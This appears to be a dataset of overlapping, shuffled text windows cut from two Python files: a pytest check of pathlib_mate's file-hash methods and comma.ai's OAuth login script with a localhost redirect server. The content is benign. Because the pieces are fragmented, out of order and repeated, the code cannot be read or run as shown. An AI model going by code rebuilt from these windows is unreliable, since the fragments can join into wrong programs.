"20), p.sha512, p.get_partial_sha512(nbytes=1 << 20), }) == 3 if __name__",
"Path class TestHashesMethods(object): def test(self): p = Path(__file__) assert len({",
"p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1 << 20), }) == 3",
"<< 20), }) == 3 if __name__ == \"__main__\": import",
"p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1",
"pytest from pathlib_mate.pathlib2 import Path class TestHashesMethods(object): def test(self): p",
"# -*- coding: utf-8 -*- import pytest from pathlib_mate.pathlib2 import",
"class TestHashesMethods(object): def test(self): p = Path(__file__) assert len({ p.md5,",
"= Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1",
"p.get_partial_sha512(nbytes=1 << 20), }) == 3 if __name__ == \"__main__\":",
"len({ p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512,",
"3 if __name__ == \"__main__\": import os basename = os.path.basename(__file__)",
"20), p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1 << 20), })",
"test(self): p = Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1 << 20),",
"== 3 if __name__ == \"__main__\": import os basename =",
"p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1 << 20), }) ==",
"import Path class TestHashesMethods(object): def test(self): p = Path(__file__) assert",
"TestHashesMethods(object): def test(self): p = Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1",
"-*- import pytest from pathlib_mate.pathlib2 import Path class TestHashesMethods(object): def",
"p = Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256,",
"from pathlib_mate.pathlib2 import Path class TestHashesMethods(object): def test(self): p =",
"== \"__main__\": import os basename = os.path.basename(__file__) pytest.main([basename, \"-s\", \"--tb=native\"])",
"p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1 <<",
"<gh_stars>1-10 # -*- coding: utf-8 -*- import pytest from pathlib_mate.pathlib2",
"-*- coding: utf-8 -*- import pytest from pathlib_mate.pathlib2 import Path",
"assert len({ p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1 << 20),",
"utf-8 -*- import pytest from pathlib_mate.pathlib2 import Path class TestHashesMethods(object):",
"20), }) == 3 if __name__ == \"__main__\": import os",
"def test(self): p = Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1 <<",
"}) == 3 if __name__ == \"__main__\": import os basename",
"import pytest from pathlib_mate.pathlib2 import Path class TestHashesMethods(object): def test(self):",
"<< 20), p.sha512, p.get_partial_sha512(nbytes=1 << 20), }) == 3 if",
"__name__ == \"__main__\": import os basename = os.path.basename(__file__) pytest.main([basename, \"-s\",",
"pathlib_mate.pathlib2 import Path class TestHashesMethods(object): def test(self): p = Path(__file__)",
"<< 20), p.sha256, p.get_partial_sha256(nbytes=1 << 20), p.sha512, p.get_partial_sha512(nbytes=1 << 20),",
"coding: utf-8 -*- import pytest from pathlib_mate.pathlib2 import Path class",
"p.sha512, p.get_partial_sha512(nbytes=1 << 20), }) == 3 if __name__ ==",
"if __name__ == \"__main__\": import os basename = os.path.basename(__file__) pytest.main([basename,",
"Path(__file__) assert len({ p.md5, p.get_partial_md5(nbytes=1 << 20), p.sha256, p.get_partial_sha256(nbytes=1 <<"
] |
[
"+ urlencode(params) elif method == 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope':",
"to stdout def auth_redirect_link(method): provider_id = { 'google': 'g', 'apple':",
"'45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?'",
"# Log in with GitHub Account ./auth.py jwt ey......hw #",
"== '__main__': parser = argparse.ArgumentParser(description='Login to your comma account') parser.add_argument('method',",
"in web_server.query_params: print('Authentication Error: \"%s\". Description: \"%s\" ' % (",
"{ 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if method == 'google':",
"APIError as e: print(f'Authentication Error: {e}', file=sys.stderr) if __name__ ==",
"urlencode(params) else: raise NotImplementedError(f\"no redirect implemented for method {method}\") def",
"from http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any, Dict",
"*args): # pylint: disable=redefined-builtin pass # this prevent http server",
"dumping messages to stdout def auth_redirect_link(method): provider_id = { 'google':",
"elif method == 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', })",
"Description: \"%s\" ' % ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try:",
"'28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif method",
"set_token(args.jwt) else: login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except",
"self.server.query_params = query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to the",
"if 'code' in web_server.query_params: break elif 'error' in web_server.query_params: print('Authentication",
"method == 'google': params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code',",
"CLI to continue') def log_message(self, format, *args): # pylint: disable=redefined-builtin",
"elif 'error' in web_server.query_params: print('Authentication Error: \"%s\". Description: \"%s\" '",
"method == 'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post',",
"google account ./auth.py github # Log in with GitHub Account",
"login(method): oauth_uri = auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To",
"./auth.py jwt ey......hw # Log in with a JWT from",
"with GitHub Account ./auth.py jwt ey......hw # Log in with",
"def log_message(self, format, *args): # pylint: disable=redefined-builtin pass # this",
"from typing import Any, Dict from urllib.parse import parse_qs, urlencode",
"#!/usr/bin/env python3 \"\"\" Usage:: usage: auth.py [-h] [{google,apple,github,jwt}] [jwt] Login",
"import APIError, CommaApi, UnauthorizedError from tools.lib.auth_config import set_token, get_token PORT",
"arguments: -h, --help show this help message and exit Examples::",
"./auth.py # Log in with google account ./auth.py github #",
"Error: \"%s\". Description: \"%s\" ' % ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr)",
"./auth.py github # Log in with GitHub Account ./auth.py jwt",
"f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if method == 'google': params.update({ 'type':",
"arguments: {google,apple,github,jwt} jwt optional arguments: -h, --help show this help",
"'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', })",
"but no JWT was provided\") exit(1) set_token(args.jwt) else: login(args.method) try:",
"message and exit Examples:: ./auth.py # Log in with google",
"from https://jwt.comma.ai, for use in CI \"\"\" import argparse import",
"self.wfile.write(b'Return to the CLI to continue') def log_message(self, format, *args):",
"= self.path.split('?', 1)[-1] query = parse_qs(query, keep_blank_values=True) self.server.query_params = query",
"python3 \"\"\" Usage:: usage: auth.py [-h] [{google,apple,github,jwt}] [jwt] Login to",
"get_token PORT = 3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] =",
"'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account',",
"and exit Examples:: ./auth.py # Log in with google account",
"webbrowser from http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any,",
"web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'],",
"= {} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith('/auth'): self.send_response(204)",
"ey......hw # Log in with a JWT from https://jwt.comma.ai, for",
"self.end_headers() self.wfile.write(b'Return to the CLI to continue') def log_message(self, format,",
"parse_qs, urlencode from tools.lib.api import APIError, CommaApi, UnauthorizedError from tools.lib.auth_config",
"the CLI to continue') def log_message(self, format, *args): # pylint:",
"'state': f'service,localhost:{PORT}', } if method == 'google': params.update({ 'type': 'web_server',",
"import argparse import sys import pprint import webbrowser from http.server",
"'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif",
"your comma account') parser.add_argument('method', default='google', const='google', nargs='?', choices=['google', 'apple', 'github',",
"argparse.ArgumentParser(description='Login to your comma account') parser.add_argument('method', default='google', const='google', nargs='?', choices=['google',",
"help message and exit Examples:: ./auth.py # Log in with",
"navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request() if 'code'",
"nargs='?', choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?') args = parser.parse_args()",
"params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post', 'scope': 'name email',",
"'read:user', }) return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif method == 'apple':",
"set_token, get_token PORT = 3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any]",
"not self.path.startswith('/auth'): self.send_response(204) return query = self.path.split('?', 1)[-1] query =",
"use your browser and navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while",
"= 3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] = {} class",
"while True: web_server.handle_request() if 'code' in web_server.query_params: break elif 'error'",
"'jwt': if args.jwt is None: print(\"method JWT selected, but no",
"parser = argparse.ArgumentParser(description='Login to your comma account') parser.add_argument('method', default='google', const='google',",
"\"%s\" ' % ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp",
"None: print(\"method JWT selected, but no JWT was provided\") exit(1)",
"web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as e: print(f'Authentication Error:",
"}) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method == 'github': params.update({",
"'response_type': 'code', 'response_mode': 'form_post', 'scope': 'name email', }) return 'https://appleid.apple.com/auth/authorize?'",
"import webbrowser from http.server import BaseHTTPRequestHandler, HTTPServer from typing import",
"e: print(f'Authentication Error: {e}', file=sys.stderr) if __name__ == '__main__': parser",
"in with google account ./auth.py github # Log in with",
"}) return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif method == 'apple': params.update({",
"'g', 'apple': 'a', 'github': 'h', }[method] params = { 'redirect_uri':",
"jwt ey......hw # Log in with a JWT from https://jwt.comma.ai,",
"auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign in, use",
"parser.add_argument('jwt', nargs='?') args = parser.parse_args() if args.method == 'jwt': if",
"{} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith('/auth'): self.send_response(204) return",
"query_params: Dict[str, Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if",
"def do_GET(self): if not self.path.startswith('/auth'): self.send_response(204) return query = self.path.split('?',",
"parser.add_argument('method', default='google', const='google', nargs='?', choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?')",
"'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post', 'scope': 'name email', })",
"CI \"\"\" import argparse import sys import pprint import webbrowser",
"print(f'Authentication Error: {e}', file=sys.stderr) if __name__ == '__main__': parser =",
"import set_token, get_token PORT = 3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str,",
"'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return",
"method == 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return",
"return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif method == 'apple': params.update({ 'client_id':",
"urlencode(params) elif method == 'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code',",
"= auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign in,",
"query = self.path.split('?', 1)[-1] query = parse_qs(query, keep_blank_values=True) self.server.query_params =",
"to the CLI to continue') def log_message(self, format, *args): #",
"to continue') def log_message(self, format, *args): # pylint: disable=redefined-builtin pass",
"\"%s\". Description: \"%s\" ' % ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break",
"tools.lib.auth_config import set_token, get_token PORT = 3000 class ClientRedirectServer(HTTPServer): query_params:",
"return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise NotImplementedError(f\"no redirect implemented for",
"this help message and exit Examples:: ./auth.py # Log in",
"'response_mode': 'form_post', 'scope': 'name email', }) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params)",
"for method {method}\") def login(method): oauth_uri = auth_redirect_link(method) web_server =",
"in CI \"\"\" import argparse import sys import pprint import",
"return query = self.path.split('?', 1)[-1] query = parse_qs(query, keep_blank_values=True) self.server.query_params",
"'google': params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email',",
"Dict[str, Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not",
"auth.py [-h] [{google,apple,github,jwt}] [jwt] Login to your comma account positional",
"'form_post', 'scope': 'name email', }) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else:",
"with a JWT from https://jwt.comma.ai, for use in CI \"\"\"",
"comma account positional arguments: {google,apple,github,jwt} jwt optional arguments: -h, --help",
"'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?' +",
"web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign in, use your",
"self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to the CLI to continue')",
"[-h] [{google,apple,github,jwt}] [jwt] Login to your comma account positional arguments:",
"me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except UnauthorizedError: print(\"Got invalid JWT\")",
"'scope': 'name email', }) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise",
"GitHub Account ./auth.py jwt ey......hw # Log in with a",
"from urllib.parse import parse_qs, urlencode from tools.lib.api import APIError, CommaApi,",
"CommaApi, UnauthorizedError from tools.lib.auth_config import set_token, get_token PORT = 3000",
"= { 'google': 'g', 'apple': 'a', 'github': 'h', }[method] params",
"--help show this help message and exit Examples:: ./auth.py #",
"{method}\") def login(method): oauth_uri = auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT),",
"if not self.path.startswith('/auth'): self.send_response(204) return query = self.path.split('?', 1)[-1] query",
"{google,apple,github,jwt} jwt optional arguments: -h, --help show this help message",
"'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif",
"= { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if method ==",
"auth_redirect_link(method): provider_id = { 'google': 'g', 'apple': 'a', 'github': 'h',",
"'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as e: print(f'Authentication Error: {e}',",
"Login to your comma account positional arguments: {google,apple,github,jwt} jwt optional",
"Log in with a JWT from https://jwt.comma.ai, for use in",
"\"\"\" import argparse import sys import pprint import webbrowser from",
"if args.method == 'jwt': if args.jwt is None: print(\"method JWT",
"} if method == 'google': params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com',",
"args = parser.parse_args() if args.method == 'jwt': if args.jwt is",
"self.send_response(204) return query = self.path.split('?', 1)[-1] query = parse_qs(query, keep_blank_values=True)",
"== 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?'",
"'name email', }) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise NotImplementedError(f\"no",
"ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign in, use your browser and",
"class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith('/auth'): self.send_response(204) return query",
"jwt optional arguments: -h, --help show this help message and",
"{oauth_uri}') webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request() if 'code' in web_server.query_params:",
"== 'google': params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope':",
"query = parse_qs(query, keep_blank_values=True) self.server.query_params = query self.send_response(200) self.send_header('Content-type', 'text/plain')",
"in with a JWT from https://jwt.comma.ai, for use in CI",
"oauth_uri = auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler) print(f'To sign",
"ClientRedirectHandler) print(f'To sign in, use your browser and navigate to",
"exit Examples:: ./auth.py # Log in with google account ./auth.py",
"'google': 'g', 'apple': 'a', 'github': 'h', }[method] params = {",
"'github': 'h', }[method] params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}',",
"self.path.startswith('/auth'): self.send_response(204) return query = self.path.split('?', 1)[-1] query = parse_qs(query,",
"parse_qs(query, keep_blank_values=True) self.server.query_params = query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return",
"sign in, use your browser and navigate to {oauth_uri}') webbrowser.open(oauth_uri,",
"comma account') parser.add_argument('method', default='google', const='google', nargs='?', choices=['google', 'apple', 'github', 'jwt'])",
"'__main__': parser = argparse.ArgumentParser(description='Login to your comma account') parser.add_argument('method', default='google',",
"if __name__ == '__main__': parser = argparse.ArgumentParser(description='Login to your comma",
"Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if not self.path.startswith('/auth'):",
"from dumping messages to stdout def auth_redirect_link(method): provider_id = {",
"Any, Dict from urllib.parse import parse_qs, urlencode from tools.lib.api import",
"selected, but no JWT was provided\") exit(1) set_token(args.jwt) else: login(args.method)",
"ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler): def do_GET(self):",
"print(f'To sign in, use your browser and navigate to {oauth_uri}')",
"provided\") exit(1) set_token(args.jwt) else: login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\")",
"from tools.lib.api import APIError, CommaApi, UnauthorizedError from tools.lib.auth_config import set_token,",
"= query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to the CLI",
"urllib.parse import parse_qs, urlencode from tools.lib.api import APIError, CommaApi, UnauthorizedError",
"+ urlencode(params) else: raise NotImplementedError(f\"no redirect implemented for method {method}\")",
"try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except UnauthorizedError: print(\"Got invalid",
"( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp = CommaApi().post('v2/auth/', data={'code':",
"self.path.split('?', 1)[-1] query = parse_qs(query, keep_blank_values=True) self.server.query_params = query self.send_response(200)",
"redirect implemented for method {method}\") def login(method): oauth_uri = auth_redirect_link(method)",
"JWT from https://jwt.comma.ai, for use in CI \"\"\" import argparse",
"'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method == 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4',",
"const='google', nargs='?', choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?') args =",
"== 'jwt': if args.jwt is None: print(\"method JWT selected, but",
"provider_id = { 'google': 'g', 'apple': 'a', 'github': 'h', }[method]",
"self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to the CLI to continue') def",
"email', }) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise NotImplementedError(f\"no redirect",
"JWT was provided\") exit(1) set_token(args.jwt) else: login(args.method) try: me =",
"do_GET(self): if not self.path.startswith('/auth'): self.send_response(204) return query = self.path.split('?', 1)[-1]",
"HTTPServer from typing import Any, Dict from urllib.parse import parse_qs,",
"'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' +",
"def login(method): oauth_uri = auth_redirect_link(method) web_server = ClientRedirectServer(('localhost', PORT), ClientRedirectHandler)",
"= CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as",
"query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to the CLI to",
"import parse_qs, urlencode from tools.lib.api import APIError, CommaApi, UnauthorizedError from",
"if args.jwt is None: print(\"method JWT selected, but no JWT",
"'code', 'response_mode': 'form_post', 'scope': 'name email', }) return 'https://appleid.apple.com/auth/authorize?' +",
"# this prevent http server from dumping messages to stdout",
"pass # this prevent http server from dumping messages to",
"and navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request() if",
"exit(1) set_token(args.jwt) else: login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me)",
"'github', 'jwt']) parser.add_argument('jwt', nargs='?') args = parser.parse_args() if args.method ==",
"positional arguments: {google,apple,github,jwt} jwt optional arguments: -h, --help show this",
"server from dumping messages to stdout def auth_redirect_link(method): provider_id =",
"for use in CI \"\"\" import argparse import sys import",
"show this help message and exit Examples:: ./auth.py # Log",
"urlencode(params) elif method == 'github': params.update({ 'client_id': '28c4ecb54bb7272cb5a4', 'scope': 'read:user',",
"= CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except UnauthorizedError: print(\"Got invalid JWT\") exit(1)",
"in with GitHub Account ./auth.py jwt ey......hw # Log in",
"nargs='?') args = parser.parse_args() if args.method == 'jwt': if args.jwt",
"Log in with GitHub Account ./auth.py jwt ey......hw # Log",
"set_token(auth_resp['access_token']) except APIError as e: print(f'Authentication Error: {e}', file=sys.stderr) if",
"JWT selected, but no JWT was provided\") exit(1) set_token(args.jwt) else:",
"as e: print(f'Authentication Error: {e}', file=sys.stderr) if __name__ == '__main__':",
"github # Log in with GitHub Account ./auth.py jwt ey......hw",
"https://jwt.comma.ai, for use in CI \"\"\" import argparse import sys",
"parser.parse_args() if args.method == 'jwt': if args.jwt is None: print(\"method",
"webbrowser.open(oauth_uri, new=2) while True: web_server.handle_request() if 'code' in web_server.query_params: break",
"PORT = 3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] = {}",
"import pprint import webbrowser from http.server import BaseHTTPRequestHandler, HTTPServer from",
"Dict from urllib.parse import parse_qs, urlencode from tools.lib.api import APIError,",
"format, *args): # pylint: disable=redefined-builtin pass # this prevent http",
"web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as e: print(f'Authentication Error: {e}', file=sys.stderr)",
"prevent http server from dumping messages to stdout def auth_redirect_link(method):",
"{ 'google': 'g', 'apple': 'a', 'github': 'h', }[method] params =",
"f'service,localhost:{PORT}', } if method == 'google': params.update({ 'type': 'web_server', 'client_id':",
"= argparse.ArgumentParser(description='Login to your comma account') parser.add_argument('method', default='google', const='google', nargs='?',",
"a JWT from https://jwt.comma.ai, for use in CI \"\"\" import",
"usage: auth.py [-h] [{google,apple,github,jwt}] [jwt] Login to your comma account",
"http.server import BaseHTTPRequestHandler, HTTPServer from typing import Any, Dict from",
"'scope': 'read:user', }) return 'https://github.com/login/oauth/authorize?' + urlencode(params) elif method ==",
"-h, --help show this help message and exit Examples:: ./auth.py",
"'https://github.com/login/oauth/authorize?' + urlencode(params) elif method == 'apple': params.update({ 'client_id': 'ai.comma.login',",
"auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError",
"Examples:: ./auth.py # Log in with google account ./auth.py github",
"to your comma account positional arguments: {google,apple,github,jwt} jwt optional arguments:",
"use in CI \"\"\" import argparse import sys import pprint",
"else: raise NotImplementedError(f\"no redirect implemented for method {method}\") def login(method):",
"Error: {e}', file=sys.stderr) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Login",
"Usage:: usage: auth.py [-h] [{google,apple,github,jwt}] [jwt] Login to your comma",
"this prevent http server from dumping messages to stdout def",
"}) return 'https://appleid.apple.com/auth/authorize?' + urlencode(params) else: raise NotImplementedError(f\"no redirect implemented",
"else: login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except UnauthorizedError:",
"class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler): def",
"params.update({ 'type': 'web_server', 'client_id': '45471411055-ornt4svd2miog6dnopve7qtmh5mnu6id.apps.googleusercontent.com', 'response_type': 'code', 'scope': 'https://www.googleapis.com/auth/userinfo.email', 'prompt':",
"file=sys.stderr) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Login to your",
"params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if method",
"to your comma account') parser.add_argument('method', default='google', const='google', nargs='?', choices=['google', 'apple',",
"3000 class ClientRedirectServer(HTTPServer): query_params: Dict[str, Any] = {} class ClientRedirectHandler(BaseHTTPRequestHandler):",
"typing import Any, Dict from urllib.parse import parse_qs, urlencode from",
"def auth_redirect_link(method): provider_id = { 'google': 'g', 'apple': 'a', 'github':",
"BaseHTTPRequestHandler, HTTPServer from typing import Any, Dict from urllib.parse import",
"'prompt': 'select_account', }) return 'https://accounts.google.com/o/oauth2/auth?' + urlencode(params) elif method ==",
"== 'apple': params.update({ 'client_id': 'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post', 'scope':",
"login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me') print(\"Authenticated!\") pprint.pprint(me) except UnauthorizedError: print(\"Got",
"default='google', const='google', nargs='?', choices=['google', 'apple', 'github', 'jwt']) parser.add_argument('jwt', nargs='?') args",
"web_server.query_params: break elif 'error' in web_server.query_params: print('Authentication Error: \"%s\". Description:",
"was provided\") exit(1) set_token(args.jwt) else: login(args.method) try: me = CommaApi(token=get_token()).get('/v1/me')",
"[jwt] Login to your comma account positional arguments: {google,apple,github,jwt} jwt",
"args.method == 'jwt': if args.jwt is None: print(\"method JWT selected,",
"[{google,apple,github,jwt}] [jwt] Login to your comma account positional arguments: {google,apple,github,jwt}",
"sys import pprint import webbrowser from http.server import BaseHTTPRequestHandler, HTTPServer",
"keep_blank_values=True) self.server.query_params = query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() self.wfile.write(b'Return to",
"'a', 'github': 'h', }[method] params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state':",
"CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']}) set_token(auth_resp['access_token']) except APIError as e:",
"'ai.comma.login', 'response_type': 'code', 'response_mode': 'form_post', 'scope': 'name email', }) return",
"PORT), ClientRedirectHandler) print(f'To sign in, use your browser and navigate",
"__name__ == '__main__': parser = argparse.ArgumentParser(description='Login to your comma account')",
"' % ( web_server.query_params['error'], web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp =",
"print('Authentication Error: \"%s\". Description: \"%s\" ' % ( web_server.query_params['error'], web_server.query_params.get('error_description')),",
"'jwt']) parser.add_argument('jwt', nargs='?') args = parser.parse_args() if args.method == 'jwt':",
"file=sys.stderr) break try: auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider': web_server.query_params['provider']})",
"= parse_qs(query, keep_blank_values=True) self.server.query_params = query self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers()",
"in, use your browser and navigate to {oauth_uri}') webbrowser.open(oauth_uri, new=2)",
"print(\"method JWT selected, but no JWT was provided\") exit(1) set_token(args.jwt)",
"raise NotImplementedError(f\"no redirect implemented for method {method}\") def login(method): oauth_uri",
"'apple': 'a', 'github': 'h', }[method] params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\",",
"# Log in with google account ./auth.py github # Log",
"web_server.query_params.get('error_description')), file=sys.stderr) break try: auth_resp = CommaApi().post('v2/auth/', data={'code': web_server.query_params['code'], 'provider':",
"# Log in with a JWT from https://jwt.comma.ai, for use",
"import Any, Dict from urllib.parse import parse_qs, urlencode from tools.lib.api",
"}[method] params = { 'redirect_uri': f\"https://api.comma.ai/v2/auth/{provider_id}/redirect/\", 'state': f'service,localhost:{PORT}', } if",
"account positional arguments: {google,apple,github,jwt} jwt optional arguments: -h, --help show",
